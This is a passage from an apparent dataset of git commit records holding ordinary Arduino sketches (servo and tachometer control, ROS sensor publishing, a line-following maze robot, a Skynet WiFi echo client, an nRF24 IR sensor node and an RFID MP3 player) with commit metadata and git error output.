SERVO_PIN 9\n\nServo servoBrk;\n\n\nfloat TacAct = 0, TacPast = 0, Vact=0, Vpast=0, velocity = 0;\nfloat transicao=0;\nint Vguidao;\n\nvoid setup() \n{\n \/*zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz*\/\n \/\/Configurando a entrada digital\n pinMode(TACOMETER, INPUT_PULLUP);\n \n \/*zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz*\/\n \n \/*zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz*\/ \n \/* configurando o servomotor*\/\n servoBrk.attach(SERVO_PIN);\n servoBrk.write(map(0, '0', '9', 0, 90));\n \n \/*zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz*\/\n\n \/*zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz*\/\n \/\/ Configurando a porta serial\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ Espera a porta serial conectar\n }\n \/*zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz*\/\n}\n\nvoid loop() \/\/ run over and over\n{\n int count = 0, cmd;\n \/* La\u00e7o principal *\/\n for(;;)\n {\n \/* Leitura de todos os sensores *\/\n \/*zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz*\/\n \/* Leitura de todos os sensores *\/\n \n TacAct = digitalRead(TACOMETER); \/\/ Tacometro\n \n Vguidao = analogRead(GUIDAO);\n \n \/*zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz*\/\n \n \/* Processamento de todas as informa\u00e7es *\/\n \/*zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz*\/\n if(count < 120)\n {\n if((TacAct-TacPast)!=0)\n {\n transicao = 1;\n }\n else\n {\n transicao = 0;\n }\n \n Vact = 1*transicao\/1 + Vact;\n if(Vact < 0)\n Vact = 0;\n else if(Vact > 1000)\n Vact = 1000;\n \n count++;\n }\n else \n {\n velocity = Vact;\n Vact = 0;\n count = 0;\n }\n \/*zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz*\/\n \n \/* Envio das informacoes *\/\n \n switch(cmd = Serial.read())\n {\n\n case 'A' :\n \n \/\/Serial.println(\"mixed = \");\n Serial.print(1023 - Vguidao);\n Serial.print(' ');\n Serial.println(velocity);\n \n break;\n \n case '0':\n case '1':\n case '2':\n case '3':\n case '4':\n case '5':\n case '6':\n case '7':\n case '8':\n case '9':\n \n \n cmd = map(cmd, '0', '9', 0, 90); \/\/ 0 <= pot_direction <= 179\n servoBrk.write(cmd);\n Serial.println(cmd);\n \n break;\n \n default :\n \n break;\n \n }\n \n \/* Atualizacao das variaveis *\/\n Vpast = Vact;\n TacPast = TacAct;\n delay(1);\n\n \n }\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'device\/arduino\/maoAzul.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7b7d71ea499695732b61159b70e1a9edb56ca690","subject":"Added ArduinoIDE file for the sensors","message":"Added ArduinoIDE file for the sensors\n","repos":"rjagerman\/aidu,MartienLagerweij\/aidu,MartienLagerweij\/aidu,rjagerman\/aidu,MartienLagerweij\/aidu,rjagerman\/aidu","old_file":"aidu_vision\/Arduino_files\/sensor_to_ros\/sensor_to_ros.ino","new_file":"aidu_vision\/Arduino_files\/sensor_to_ros\/sensor_to_ros.ino","new_contents":"\/*\n * Rosserial sensor value publisher\n * Publishes the value of the sensor to ros\n * Sensor types: Sharp 041SK, Sharp GP2D12 and !!NOGIETS!!\n *\n * Usage: \n * Run roscore\n * Type in terminal: rosrun rosserial_python serial_node.py \/dev\/ttyACM#\n * where # is the number of the serial port the Arduino is attached to\n * Call the topic with: rostopic echo [$SENSOR_TYPE]_sensor\n *\/\n \n \n#include <ros.h>\n#include <aidu_vision\/DistanceSensors.h>\n#include <math.h>\n\nros::NodeHandle nh;\n\naidu_vision::DistanceSensors distance;\nros::Publisher sensor_publisher(\"sensors\", &distance);\n\/\/ros::Publisher sharp12_sensor(\"sharp12_sensor\", &distance12);\n\nint sensorpin_41 = 0; \/\/ analog pin used to connect the sharp 041SK\nint sensorpin_12 = 1; \/\/ analog pin used to connect the sharp GP2D12 \n\nvoid setup()\n{\n nh.initNode();\n nh.advertise(sensor_publisher);\n \/\/nh.advertise(sharp12_sensor);\n}\n\nvoid loop()\n{\n double sensor_value41 = analogRead(sensorpin_41);\n \/\/int dis41 = (1\/sensor_value41) * 26874; \/\/ oude calibratie van chris\n int dis41 = 27205.2633 * pow(sensor_value41, -1.0183);\n distance.Frontleft = dis41;\n \n double sensor_value12 = analogRead(sensorpin_12);\n int dis12 = 38161.1739 * pow(sensor_value12, -0.9298) + 2936752.6632 * pow(sensor_value12,-2.2758995196);\n distance.Frontright = dis12;\n \n sensor_publisher.publish( &distance );\n \n nh.spinOnce();\n delay(500);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'aidu_vision\/Arduino_files\/sensor_to_ros\/sensor_to_ros.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f0317b353b2f4bc30b5ccf56a6cccf234e0de668","subject":"Create Maze.ino","message":"Create Maze.ino\n\nMaze code in the Arduino IDE for sensing low and high reflectance, using left line follower method.","repos":"Archangel7\/Micro-Mouse,Archangel7\/Micro-Mouse","old_file":"Algorithm\/Maze.ino","new_file":"Algorithm\/Maze.ino","new_contents":"#include <QTRSensors.h>\n#include <Wire.h>\n#include <LiquidCrystal.h>\n\/\/#include \"LCD.h\"\n#include <Adafruit_MotorShield.h>\n#include \"utility\/Adafruit_PWMServoDriver.h\"\n\nLiquidCrystal lcd(8, 9, 4, 5, 6, 7);\n\n\/\/ This example is designed for use with six QTR-1A sensors or the first six sensors of a\n\/\/ QTR-8A module. These reflectance sensors should be connected to analog inputs 0 to 5.\n\/\/ The QTR-8A's emitter control pin (LEDON) can optionally be connected to digital pin 2, \n\/\/ or you can leave it disconnected and change the EMITTER_PIN #define below from 2 to \n\/\/ QTR_NO_EMITTER_PIN.\n\n\/\/ The setup phase of this example calibrates the sensor for ten seconds and turns on\n\/\/ the LED built in to the Arduino on pin 13 while calibration is going on.\n\/\/ During this phase, you should expose each reflectance sensor to the lightest and\n\/\/ darkest readings they will encounter.\n\/\/ For example, if you are making a line follower, you should slide the sensors across the\n\/\/ line during the calibration phase so that each sensor can get a reading of how dark the\n\/\/ line is and how light the ground is. Improper calibration will result in poor readings.\n\/\/ If you want to skip the calibration phase, you can get the raw sensor readings\n\/\/ (analog voltage readings from 0 to 1023) by calling qtra.read(sensorValues) instead of\n\/\/ qtra.readLine(sensorValues).\n\n\/\/ The main loop of the example reads the calibrated sensor values and uses them to\n\/\/ estimate the position of a line. You can test this by taping a piece of 3\/4\" black\n\/\/ electrical tape to a piece of white paper and sliding the sensor across it. It\n\/\/ prints the sensor values to the serial monitor as numbers from 0 (maximum reflectance) \n\/\/ to 1000 (minimum reflectance) followed by the estimated location of the line as a number\n\/\/ from 0 to 5000. 1000 means the line is directly under sensor 1, 2000 means directly\n\/\/ under sensor 2, etc. 0 means the line is directly under sensor 0 or was last seen by\n\/\/ sensor 0 before being lost. 5000 means the line is directly under sensor 5 or was\n\/\/ last seen by sensor 5 before being lost.\n\n#define NUM_SENSORS 3 \/\/ number of sensors used\n#define NUM_SAMPLES_PER_SENSOR 4 \/\/ average 4 analog samples per sensor reading\n#define EMITTER_PIN 2 \/\/ emitter is controlled by digital pin 2\n\n\/\/ sensors 0 through 5 are connected to analog inputs 0 through 5, respectively\nQTRSensorsAnalog qtra((unsigned char[]) {0, 1, 2, 3, 4, 5}, \n NUM_SENSORS, NUM_SAMPLES_PER_SENSOR, EMITTER_PIN);\nunsigned int sensorValues[NUM_SENSORS];\n\n#define FRONT sensorValues[1]\n#define LEFT sensorValues[0]\n#define RIGHT sensorValues[2]\n\n\/\/ Create the motor shield object with the default I2C address\nAdafruit_MotorShield AFMS = Adafruit_MotorShield(); \n\/\/ Or, create it with a different I2C address (say for stacking)\n\/\/ Adafruit_MotorShield AFMS = Adafruit_MotorShield(0x61); \n\n\/\/ Select which 'port' M1, M2, M3 or M4. In this case, M1\nAdafruit_DCMotor *leftMotor = AFMS.getMotor(1);\n\/\/ You can also make another motor on port M2\nAdafruit_DCMotor *rightMotor = AFMS.getMotor(2);\n\nvoid setup() {\n Serial.begin(9600); \/\/ set up Serial library at 9600 bps\n \/\/ Serial.println(\"Adafruit Motorshield v2 - DC Motor test!\");\n\n AFMS.begin(); \/\/ create with the default frequency 1.6KHz\n \/\/AFMS.begin(1000); \/\/ OR with a different frequency, say 1KHz\n \n delay(500);\n pinMode(13, OUTPUT);\n digitalWrite(13, HIGH); \/\/ turn on Arduino's LED to indicate we are in calibration mode\n \/\/ read raw sensor values\n qtra.read(sensorValues);\n \n \/\/ print the sensor values as numbers from 0 to 1023, where 0 means maximum reflectance and\n \/\/ 1023 means minimum reflectance\n for (unsigned char i = 0; i < NUM_SENSORS; i++)\n {\n Serial.print(sensorValues[i]);\n Serial.print('\\t'); \/\/ tab to format the raw data into columns in the Serial monitor\n }\n Serial.println();\n \n delay(250);\n \n \/*for (int i = 0; i < 400; i++) \/\/ make the calibration take about 10 seconds\n {\n qtra.calibrate(); \/\/ reads all sensors 10 times at 2.5 ms per six sensors (i.e. ~25 ms per call)\n }*\/\n digitalWrite(13, LOW); \/\/ turn off Arduino's LED to indicate we are through with calibration\n\n}\n\nvoid loop() {\n \/\/ read calibrated sensor values and obtain a measure of the line position from 0 to 5000\n \/\/ To get raw sensor values, call:\n \/\/qtra.read(sensorValues); \/\/instead of unsigned int position = qtra.readLine(sensorValues);\n unsigned int position = qtra.readLine(sensorValues);\n \n \/\/ print the sensor values as numbers from 0 to 1000, where 0 means maximum reflectance and\n \/\/ 1000 means minimum reflectance, followed by the line position\n \/*for (unsigned char i = 0; i < NUM_SENSORS; i++)\n {\n Serial.print(sensorValues[i]);\n Serial.print('\\t');\n }*\/\n \n uint8_t i;\n \n\n \/\/ if all three sensors see very low reflectance, take some appropriate action for this \n \/\/ situation.\n if (LEFT < 750 && FRONT < 750 && RIGHT < 750)\n {\n rightMotor->run(BRAKE);\n leftMotor->run(BRAKE);\n \/\/ do something. Maybe this means we're at the edge of a course or about to fall off \n \/\/ a table, in which case, we might want to stop moving, back up, and turn around.\n return;\n }\n \n \/\/ compute our \"error\" from the line position. We will make it so that the error is zero \n \/\/ when the middle sensor is over the line, because this is our goal. Error will range from\n \/\/ -1000 to +1000. If we have sensor 0 on the left and sensor 2 on the right, a reading of \n \/\/ -1000 means that we see the line on the left and a reading of +1000 means we see the \n \/\/ line on the right.\n int error = position - 1000;\n \n int leftMotorSpeed = 100;\n int rightMotorSpeed = 100;\n if (error < -500) { \/\/ the line is on the left\n rightMotor->run(FORWARD);\n leftMotor->run(FORWARD); \/\/ turn left\n }\n else \/\/ the line is on the right\n rightMotorSpeed = 0; \/\/ turn right\n\/\/ set motor speeds using the two motor speed variables above \n} \n\n\n \n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Algorithm\/Maze.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c2fe79301726c3ffa6d49bda10e44f8fe592e1ac","subject":"cc3000 echo example","message":"cc3000 echo example\n","repos":"octoblu\/microblu_ws,octoblu\/microblu_ws,octoblu\/microblu_ws","old_file":"examples\/skynetim_echo_cc3000\/skynetim_echo_cc3000.ino","new_file":"examples\/skynetim_echo_cc3000\/skynetim_echo_cc3000.ino","new_contents":"\/*\n * SSSSS kk tt\n * SS kk kk yy yy nn nnn eee tt\n * SSSSS kkkkk yy yy nnn nn ee e tttt\n * SS kk kk yyyyyy nn nn eeeee tt\n * SSSSS kk kk yy nn nn eeeee tttt\n * yyyyy\n *\n * SkynetClient for http:\/\/skynet.im, OPEN COMMUNICATIONS NETWORK & API FOR\n * THE INTERNET OF THINGS.\n *\n * This sketch parses any messages it receives and echos them back to the\n * sender.\n *\n * This sketch requires a port of the Adafruit CC3000 firmare library. Until\n * Adafruit accepts it, delete theirs and grab ours at:\n * https:\/\/github.com\/jacobrosenthal\/Adafruit_CC3000_Library\/tree\/feature\/inherit-client\n *\n * Also requires the ArduinoJsonParser \n * https:\/\/github.com\/bblanchon\/ArduinoJsonParser \n *\n * You will notice we're using F() in Serial.print. It is covered briefly on\n * the arduino print page but it means we can store our strings in program\n * memory instead of in ram.\n *\n * You can turn on debugging within SkynetClient.h by uncommenting\n * #define SKYNETCLIENT_DEBUG but note this takes up a ton of program space\n * which means you'll probably have to debug on a Mega\n *\/\n\n#include <EEPROM.h>\n#include <Adafruit_CC3000.h>\n#include <ccspi.h>\n#include <string.h>\n#include \"utility\/debug.h\"\n#include \"SPI.h\"\n#include \"SkynetClient.h\"\n#include <JsonParser.h>\n\n\n\/\/ These are the interrupt and control pins\n#define ADAFRUIT_CC3000_IRQ 3 \/\/ MUST be an interrupt pin!\n\/\/ These can be any two pins\n#define ADAFRUIT_CC3000_VBAT 5\n#define ADAFRUIT_CC3000_CS 10\n\/\/ Use hardware SPI for the remaining pins\n\/\/ On an UNO, SCK = 13, MISO = 12, and MOSI = 11\nAdafruit_CC3000 cc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS, ADAFRUIT_CC3000_IRQ, ADAFRUIT_CC3000_VBAT,\n SPI_CLOCK_DIVIDER); \/\/ you can change this clock speed\n\n#define WLAN_SSID \"myNetwork\" \/\/ cannot be longer than 32 characters!\n#define WLAN_PASS \"myPassword\"\n\/\/ Security can be WLAN_SEC_UNSEC, WLAN_SEC_WEP, WLAN_SEC_WPA or WLAN_SEC_WPA2\n#define WLAN_SECURITY WLAN_SEC_WPA2\n\n#define IDLE_TIMEOUT_MS 3000 \/\/ Amount of time to wait (in milliseconds) with no data \n \/\/ received before closing the connection. If you know the server\n \/\/ you're accessing is quick to respond, you can reduce this value.\n \n#define HOSTNAME \"skynet.im\"\n#define PORT 80\n\nAdafruit_CC3000_Client client = Adafruit_CC3000_Client();\n \nSkynetClient skynetclient(client);\n \nvoid setup()\n{\n Serial.begin(9600);\n \n \/* Initialise the module *\/\n Serial.println(F(\"\\nInitializing...\"));\n if (!cc3000.begin())\n {\n Serial.println(F(\"Couldn't begin()! Check your wiring?\"));\n while(1);\n }\n \n if (!cc3000.connectToAP(WLAN_SSID, WLAN_PASS, WLAN_SECURITY)) {\n Serial.println(F(\"Failed!\"));\n while(1);\n }\n \n Serial.println(F(\"Connected!\"));\n \n \/* Wait for DHCP to complete *\/\n Serial.println(F(\"Request DHCP\"));\n while (!cc3000.checkDHCP())\n {\n delay(100); \/\/ ToDo: Insert a DHCP timeout!\n } \n \n skynetclient.setMessageDelegate(onMessage);\n\n}\n\nvoid onMessage(const char * const data) {\n \n JsonParser<16> parser;\n\n Serial.print(\"Parse \");\n Serial.println(data);\n\n JsonHashTable hashTable = parser.parseHashTable((char*)data);\n\n if (!hashTable.success())\n {\n Serial.println(\"JsonParser.parseHashTable() failed\");\n return;\n }\n \n char* payload = hashTable.getString(\"payload\");\n Serial.print(\"payload=\");\n Serial.println(payload);\n \n char* fromUuid = hashTable.getString(\"fromUuid\");\n Serial.print(\"fromUuid=\");\n Serial.println(fromUuid);\n\n skynetclient.sendMessage(fromUuid, payload);\n}\n\nvoid loop() {\n while(!skynetclient.monitor()){\n bool skynetStatus = false;\n do {\n skynetStatus = skynetclient.connect(HOSTNAME, PORT);\n } while (!skynetStatus);\n \n Serial.println(F(\"Connected!\"));\n \n char uuid[UUIDSIZE];\n \n skynetclient.getUuid(uuid);\n Serial.print(F(\"uuid: \"));\n Serial.println(uuid);\n \n skynetclient.getToken(uuid);\n Serial.print(F(\"token: \"));\n Serial.println(uuid); \n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/skynetim_echo_cc3000\/skynetim_echo_cc3000.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"e5d08cb7dc71a869fa9078adf3ee25378794116e","subject":"IR Break Beam Sensor","message":"IR Break Beam Sensor\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_28-attiny85-nrf24-3pin-ir\/_28-attiny85-nrf24-3pin-ir.ino","new_file":"_28-attiny85-nrf24-3pin-ir\/_28-attiny85-nrf24-3pin-ir.ino","new_contents":"\/\/ 5pin\n\/* 24l01 85\n 1 gnd 4\n 2 vcc 8\n 3 ce 1\n 4 csn 3\n 5 sck 7\n 6 mosi 6\n 7 miso 5\n*\/\n\n\/\/ 3pin\n\/* 24l01 85\n 1 gnd 4\n 2 vcc 8\n 3 ce x\n 4 csn x\n 5 sck 7\n 6 mosi 6\n 7 miso 5\n*\/\n#include <LowPower.h>\n#include <avr\/wdt.h>\n#include <avr\/interrupt.h>\n#include <avr\/sleep.h>\n#include <avr\/pgmspace.h>\n#include <Average.h>\n#include <nRF24L01.h>\n#include <RF24.h>\n\n#define adc_disable() (ADCSRA &= ~(1<<ADEN)) \/\/ disable ADC\n#define adc_enable() (ADCSRA |= (1<<ADEN)) \/\/ re-enable ADC\n\n\/\/#define _TEST\n#define _DIGITAL\n#define _3PIN\n\/\/#define _5PIN\n\n#ifdef _3PIN\n\/\/ 3pin\n#define CE_PIN 3\n#define CSN_PIN 3\n#else\n\/\/ 5pin\n#define CE_PIN 5\n#define CSN_PIN 4\n#endif\n\n#define DEVICE_ID 65\n#define CHANNEL 100\n\nconst uint64_t pipes[2] = { 0xFFFFFFFFFFLL, 0xCCCCCCCCCCLL };\n\ntypedef struct {\n uint32_t _salt;\n uint16_t volt;\n int16_t data1;\n int16_t data2;\n uint8_t devid;\n} data;\n\ndata payload;\n\nRF24 radio(CE_PIN, CSN_PIN);\n\n#define IRENPIN 4 \/\/ p3 \/ A2\n#define DATA1PIN A3 \/\/ p2\n\nAverage<float> ave(2);\n\nvoid setup() {\n delay(20);\n adc_disable();\n unsigned long startmilis = millis();\n\n#ifdef _DIGITAL\n pinMode(DATA1PIN, INPUT_PULLUP);\n#endif\n pinMode(IRENPIN, OUTPUT);\n digitalWrite(IRENPIN, LOW);\n\n radio.begin();\n radio.setChannel(CHANNEL);\n radio.setPALevel(RF24_PA_LOW);\n radio.setDataRate(RF24_250KBPS);\n \/\/radio.setAutoAck(1);\n radio.setRetries(15, 15);\n radio.setPayloadSize(11);\n radio.openWritingPipe(pipes[0]);\n radio.stopListening();\n \/\/radio.powerDown();\n\n unsigned long stopmilis = millis();\n payload.data2 = ( stopmilis - startmilis ) * 10 ;\n\n payload._salt = 0;\n payload.devid = DEVICE_ID;\n\n}\n\nvoid loop() {\n unsigned long startmilis = millis();\n payload._salt++;\n digitalWrite(IRENPIN, HIGH);\n payload.volt = readVcc();\n#ifdef _DIGITAL\n \/\/delay(3);\n payload.data1 = digitalRead(DATA1PIN) * 10 ;\n#else\n \/\/delay(3);\n payload.data1 = readData1() * 10;\n#endif\n digitalWrite(IRENPIN, LOW);\n\n radio.powerUp();\n radio.write(&payload , sizeof(payload));\n radio.powerDown();\n\n unsigned long stopmilis = millis();\n\n payload.data2 = ( stopmilis - startmilis ) * 10 ;\n\n if ((millis() - startmilis) > 1000) {\n sleep();\n return;\n }\n\n sleep();\n\n}\n\nvoid sleep() {\n#ifdef _TEST\n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF);\n#else\n for (int i = 0; i < 7; i++) {\n LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF);\n }\n LowPower.powerDown(SLEEP_4S, ADC_OFF, BOD_OFF);\n#endif\n}\n\nint readVcc() {\n adc_enable();\n ADMUX = _BV(MUX3) | _BV(MUX2);\n\n delay(2);\n ADCSRA |= _BV(ADSC); \/\/ Start conversion\n while (bit_is_set(ADCSRA, ADSC)); \/\/ measuring\n\n uint8_t low = ADCL; \/\/ must read ADCL first - it then locks ADCH\n uint8_t high = ADCH; \/\/ unlocks both\n\n long result = (high << 8) | low;\n\n \/\/result = 1126400L \/ result; \/\/ Calculate Vcc (in mV);\n result = 1074835L \/ result;\n\n \/\/Disable ADC\n adc_disable();\n\n return (int)result; \/\/ Vcc in millivolts\n}\n\nint16_t readData1() {\n\n adc_enable();\n delay(2);\n for (int k = 0; k < 2; k = k + 1) {\n uint16_t value = analogRead(DATA1PIN);\n ave.push(value);\n delay(5);\n }\n return ave.mean();\n adc_disable();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_28-attiny85-nrf24-3pin-ir\/_28-attiny85-nrf24-3pin-ir.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"ea2dd5e4341cb4b9facb4ae0fac9bbcf3c588795","subject":"fix typo","message":"fix typo\n","repos":"wsnook\/sandbox,wsnook\/sandbox,wsnook\/sandbox,wsnook\/sandbox,wsnook\/sandbox","old_file":"arduino_uno\/builtin_led_pwm_fade\/builtin_led_pwm_fade.ino","new_file":"arduino_uno\/builtin_led_pwm_fade\/builtin_led_pwm_fade.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/wsnook\/sandbox.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"bf8d5608887e70bce2283d34f98aec2e6d4e8c9b","subject":"Added initial version of arduino code","message":"Added initial version of arduino code\n","repos":"TheNitek\/RfidShelf,TheNitek\/RfidShelf,TheNitek\/RfidShelf,TheNitek\/RfidShelf","old_file":"RfidShelf.ino","new_file":"RfidShelf.ino","new_contents":"\/**\n\n*\/\n\n#include <SPI.h>\n#include <MFRC522.h>\n\n\/\/Add the SdFat Libraries\n#include <SdFat.h>\n#include <SdFatUtil.h>\n\n\/*\n For the RFID to work while MP3 plays, you have to change\n #define USE_MP3_REFILL_MEANS USE_MP3_INTx\n to\n #define USE_MP3_REFILL_MEANS USE_MP3_Polled\n in SFEMP3Shield.h\n*\/\n#include <SFEMP3Shield.h>\n\n#define RST_PIN 5 \/\/ Configurable, see typical pin layout above\n#define SS_PIN 10 \/\/ Configurable, see typical pin layout above\n\nMFRC522 mfrc522(SS_PIN, RST_PIN); \/\/ Create MFRC522 instance.\n\nMFRC522::MIFARE_Key key;\n\n\/\/ Init array that will store new NUID\nbyte nuidPICC[4];\n\n\n\/\/ Below is not needed if interrupt driven. Safe to remove if not using.\n#if defined(USE_MP3_REFILL_MEANS) && USE_MP3_REFILL_MEANS == USE_MP3_Timer1\n#include <TimerOne.h>\n#elif defined(USE_MP3_REFILL_MEANS) && USE_MP3_REFILL_MEANS == USE_MP3_SimpleTimer\n#include <SimpleTimer.h>\n#endif\n\nSdFat sd;\n\nSFEMP3Shield MP3player;\n\nvoid setup() {\n Serial.begin(115200);\n while (!Serial); \/\/ Do nothing if no serial port is opened (added for Arduinos based on ATMEGA32U4)\n\n \/\/Initialize the SdCard.\n if (!sd.begin(SD_SEL, SPI_FULL_SPEED)) sd.initErrorHalt();\n \/\/ depending upon your SdCard environment, SPI_HAVE_SPEED may work better.\n if (!sd.chdir(\"\/\")) sd.errorHalt(\"sd.chdir\");\n\n \/\/Initialize the MP3 Player Shield\n uint8_t result = MP3player.begin();\n \/\/check result, see readme for error codes.\n if (result != 0) {\n Serial.print(F(\"Error code: \"));\n Serial.print(result);\n Serial.println(F(\" when trying to start MP3 player\"));\n if ( result == 6 ) {\n Serial.println(F(\"Warning: patch file not found, skipping.\")); \/\/ can be removed for space, if needed.\n Serial.println(F(\"Use the \\\"d\\\" command to verify SdCard can be read\")); \/\/ can be removed for space, if needed.\n }\n }\n\n SPI.begin(); \/\/ Init SPI bus\n mfrc522.PCD_Init(); \/\/ Init MFRC522 card\n\n for (byte i = 0; i < 6; i++) {\n key.keyByte[i] = 0xFF;\n }\n\n Serial.print(F(\"Using rfid key (for A and B):\"));\n dump_byte_array(key.keyByte, MFRC522::MF_KEY_SIZE);\n Serial.println();\n}\n\n\/**\n Main loop.\n*\/\nvoid loop() {\n#if defined(USE_MP3_REFILL_MEANS) \\\n && ( (USE_MP3_REFILL_MEANS == USE_MP3_SimpleTimer) \\\n || (USE_MP3_REFILL_MEANS == USE_MP3_Polled) )\n\n MP3player.available();\n#endif\n\n \/\/ Look for new cards\n if ( ! mfrc522.PICC_IsNewCardPresent())\n return;\n\n \/\/ Select one of the cards\n if ( ! mfrc522.PICC_ReadCardSerial())\n return;\n\n \/\/ Show some details of the PICC (that is: the tag\/card)\n Serial.print(F(\"Card UID:\"));\n dump_byte_array(mfrc522.uid.uidByte, mfrc522.uid.size);\n Serial.println();\n Serial.print(F(\"PICC type: \"));\n MFRC522::PICC_Type piccType = mfrc522.PICC_GetType(mfrc522.uid.sak);\n Serial.println(mfrc522.PICC_GetTypeName(piccType));\n\n \/\/ Check for compatibility\n if ( piccType != MFRC522::PICC_TYPE_MIFARE_1K ) {\n Serial.println(F(\"Unsupported card.\"));\n return;\n }\n\n if (mfrc522.uid.uidByte[0] == nuidPICC[0] &&\n mfrc522.uid.uidByte[1] == nuidPICC[1] &&\n mfrc522.uid.uidByte[2] == nuidPICC[2] &&\n mfrc522.uid.uidByte[3] == nuidPICC[3] ) {\n Serial.println(F(\"Card already read\"));\n return;\n }\n\n \/\/ Store NUID into nuidPICC array\n for (byte i = 0; i < 4; i++) {\n nuidPICC[i] = mfrc522.uid.uidByte[i];\n }\n\n char folder[17];\n readBlock(1, 0, folder);\n Serial.print(F(\"Folder on rfid: \"));\n Serial.println(folder);\n playFolder(folder);\n\n delay(100);\n}\n\nvoid readBlock(uint8_t sector, uint8_t relativeBlock, char *outputBuffer) {\n if (relativeBlock > 3) {\n Serial.println(F(\"Invalid block number\"));\n return;\n }\n\n \/\/ Block 4 is trailer block\n byte trailerBlock = (sector * 4) + 3;\n byte absoluteBlock = (sector * 4) + relativeBlock;\n MFRC522::StatusCode status;\n\n \/\/ Authenticate using key A\n Serial.println(F(\"Authenticating using key A...\"));\n status = (MFRC522::StatusCode) mfrc522.PCD_Authenticate(MFRC522::PICC_CMD_MF_AUTH_KEY_A, trailerBlock, &key, &(mfrc522.uid));\n if (status != MFRC522::STATUS_OK) {\n Serial.print(F(\"PCD_Authenticate() failed: \"));\n Serial.println(mfrc522.GetStatusCodeName(status));\n return;\n }\n\n \/\/ Read data from the block\n Serial.print(F(\"Reading data from block \"));\n Serial.print(absoluteBlock);\n Serial.println(F(\" ...\"));\n byte buffer[18];\n byte bufferSize = sizeof(buffer);\n status = (MFRC522::StatusCode) mfrc522.MIFARE_Read(absoluteBlock, buffer, &bufferSize);\n if (status != MFRC522::STATUS_OK) {\n Serial.print(F(\"MIFARE_Read() failed: \"));\n Serial.println(mfrc522.GetStatusCodeName(status));\n }\n Serial.print(F(\"Data in block \")); Serial.print(absoluteBlock); Serial.println(F(\":\"));\n dump_byte_array(buffer, 16);\n Serial.println();\n Serial.println();\n\n\n \/\/ Halt PICC\n mfrc522.PICC_HaltA();\n \/\/ Stop encryption on PCD\n mfrc522.PCD_StopCrypto1();\n\n for (byte i = 0; i < bufferSize; i++) {\n outputBuffer[i] = buffer[i];\n }\n outputBuffer[bufferSize] = '\\0';\n\n}\n\n\/**\n Helper routine to dump a byte array as hex values to Serial.\n*\/\nvoid dump_byte_array(byte *buffer, byte bufferSize) {\n for (byte i = 0; i < bufferSize; i++) {\n Serial.print(buffer[i] < 0x10 ? \" 0\" : \" \");\n Serial.print(buffer[i], HEX);\n }\n}\n\nvoid playFolder(char *folder) {\n Serial.println(F(\"Music Files found:\"));\n SdFile file;\n char filename[20];\n sd.chdir(folder, true);\n while (file.openNext(sd.vwd(), O_READ))\n {\n file.getFilename(filename);\n if ( isFnMusic(filename) ) {\n MP3player.stopTrack();\n uint8_t result = MP3player.playMP3(filename);\n\n \/\/check result, see readme for error codes.\n if (result != 0) {\n Serial.print(F(\"Error code: \"));\n Serial.print(result);\n Serial.println(F(\" when trying to play track\"));\n } else {\n\n Serial.println(F(\"Playing:\"));\n\n char title[30]; \/\/ buffer to contain the extract the Title from the current filehandles\n char artist[30]; \/\/ buffer to contain the extract the artist name from the current filehandles\n char album[30]; \/\/ buffer to contain the extract the album name from the current filehandles\n\n \/\/we can get track info by using the following functions and arguments\n \/\/the functions will extract the requested information, and put it in the array we pass in\n MP3player.trackTitle((char*)&title);\n MP3player.trackArtist((char*)&artist);\n MP3player.trackAlbum((char*)&album);\n\n \/\/print out the arrays of track information\n Serial.write((byte*)&title, 30);\n Serial.println();\n Serial.print(F(\"by: \"));\n Serial.write((byte*)&artist, 30);\n Serial.println();\n Serial.print(F(\"Album: \"));\n Serial.write((byte*)&album, 30);\n Serial.println();\n }\n file.close();\n return;\n } else {\n Serial.print(F(\"Not a music file: \"));\n Serial.println(filename);\n }\n file.close();\n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'RfidShelf.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"321e8a6c618e32828218459d13b7478b1f0a0d38","subject":"Init: Arduino Code Eva","message":"Init: Arduino Code Eva\n\nfor Agent Eva","repos":"GeorgEncinas\/Multi-Agents","old_file":"AgenteEva\/AgenteEva.ino","new_file":"AgenteEva\/AgenteEva.ino","new_contents":"\/*\n Author: Jorge Rolando Encinas\n Grupo: 10\n Materia: Agentes Inteligentes\n*\/\n\n#include <SparkFun_TB6612.h>\n#include <Ultrasonic.h>\n#include <Clamp.h>\n\n\n\/\/ these constants are used to allow you to make your motor 